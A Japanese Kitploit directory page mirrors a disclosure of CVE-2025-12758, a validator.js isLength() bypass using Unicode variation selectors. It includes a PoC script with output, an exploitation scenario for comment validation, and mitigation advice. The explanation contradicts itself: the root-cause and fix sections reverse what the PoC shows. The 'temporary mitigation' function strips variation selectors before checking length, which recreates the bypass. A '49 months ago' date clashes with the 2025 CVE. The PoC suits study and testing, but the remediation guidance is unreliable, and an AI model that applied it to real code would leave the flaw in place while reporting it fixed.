Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/open-flaw/cve-2025-12758
脆弱性分析コード分析ウェブセキュリティ論文と研究学習と教育
GitHubopen-flaw/cve-2025-12758

CVE-2025-12758

# CVE-2025-12758 の詳細開示:validator.js isLength() における Unicode 変異選択子バイパスの PoC validator.js の isLength() における Unicode 変異選択子バイパスを実証する詳細な CVE-2025-12758 開示情報。根本原因の分析、悪用シナリオ、および緩和策を含む。

リポジトリを見る
49ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-12758: Validator.js isLength() Unicode Variation Selector バイパス

CVE ID: CVE-2025-12758
CVSS スコア: 8.7 (HIGH)
重要度: HIGH
CWE: CWE-792 (Incomplete Filtering of One or More Instances of Special Elements)
公開日: November 26, 2025
開示日: October 19, 2025

脆弱性の概要

この脆弱性は、validator npm パッケージのバージョン < 13.15.22 に影響します。isLength() 関数は、文字列の長さを計算する際に Unicode 変異セレクタ (\uFE0F, \uFE0E) を考慮しないため、不適切な入力検証が発生します。

影響

isLength() を入力検証に使用するアプリケーションは、意図したよりも大幅に長い文字列を受け入れる可能性があり、その結果、以下の問題が発生する可能性があります:

  • データベースでのデータ切り詰め
  • 他のシステムコンポーネントでのバッファオーバーフロー
  • サービス拒否 (DoS) 攻撃
  • 入力検証のバイパス

根本原因

isLength() 関数は、文字列の長さを計算する際に Unicode 変異セレクタを適切にフィルタリングしません。これらの特殊文字 (結合マーク) は文字列の視覚的な長さに寄与すべきではありませんが、JavaScript の String.length プロパティではカウントされます。

概念実証

セットアップ

npm install [email protected]
node poc.js

コード

POC は、isLength() 関数をテストすることでこの脆弱性を示しています:

const validator = require('validator');

// Normal "test" string - correctly rejected
console.log(`Is "test" (String.length: ${'test'.length}) length ≤ 3? ${validator.isLength('test', { max: 3 })}`);
// Output: Is "test" (String.length: 4) length ≤ 3? false

// Normal "test" string - correctly accepted
console.log(`Is "test" (String.length: ${'test'.length}) length ≤ 4? ${validator.isLength('test', { max: 4 })}`);
// Output: Is "test" (String.length: 4) length ≤ 4? true

// "test" with 4 variation selectors - INCORRECTLY accepted
console.log(`Is "test️️️️" (String.length: ${'test\uFE0F\uFE0F\uFE0F\uFE0F'.length}) length ≤ 4? ${validator.isLength('test\uFE0F\uFE0F\uFE0F\uFE0F', { max: 4 })}`);
// Output: Is "test️️️️" (String.length: 8) length ≤ 4? true ⚠️ VULNERABLE!

出力

Is "test" (String.length: 4) length less than or equal to 3? false
Is "test" (String.length: 4) length less than or equal to 4? true
Is "test️️️️" (String.length: 8) length less than or equal to 4? true

3 番目の出力はこの脆弱性を示しています: 実際の長さが 8 の文字列が、最大長 4 の検証チェックを通過します。

悪用シナリオ

アプリケーションがユーザーコメントの検証を実装している場合を考えます:

const MAX_COMMENT_LENGTH = 100;

function validateComment(comment) {
  return validator.isLength(comment, { max: MAX_COMMENT_LENGTH });
}

const maliciousInput = 'a'.repeat(50) + '\uFE0F'.repeat(100);
// Actual length: 150 characters
// validator.isLength() incorrectly returns: true ❌
// Database accepts malicious payload ⚠️

修正

バージョン 13.15.22 以降へのアップグレード

npm install [email protected]

パッチ適用済みバージョンは、Unicode 変異セレクタを長さの計算から除外することで適切に処理します。

代替緩和策 (一時的)

すぐにアップグレードできない場合は、カスタムの長さ検証を実装してください:

function safeIsLength(str, options = {}) {
  // Remove Unicode variation selectors before validation
  const cleanStr = str.replace(/[\uFE0E\uFE0F]/g, '');
  return validator.isLength(cleanStr, options);
}

参考情報

  • Snyk 脆弱性データベース: https://security.snyk.io/vuln/SNYK-JS-VALIDATOR-13653476
  • GitHub Gist (元の証明): https://gist.github.com/koral--/ad31208b25b9e3d1e2e35f1d4d72572e
  • GitHub PR (修正): https://github.com/validatorjs/validator.js/pull/2616
  • CVE レコード: https://www.cve.org/CVERecord?id=CVE-2025-12758

検出方法

アプリケーションが脆弱かどうかを確認する:

npm audit --audit-level=high

バージョンが 13.15.22 未満の validator パッケージを探してください。

クレジット

脆弱性発見者: Karol Wrótniak

ライセンス

ISC

ツールをダウンロード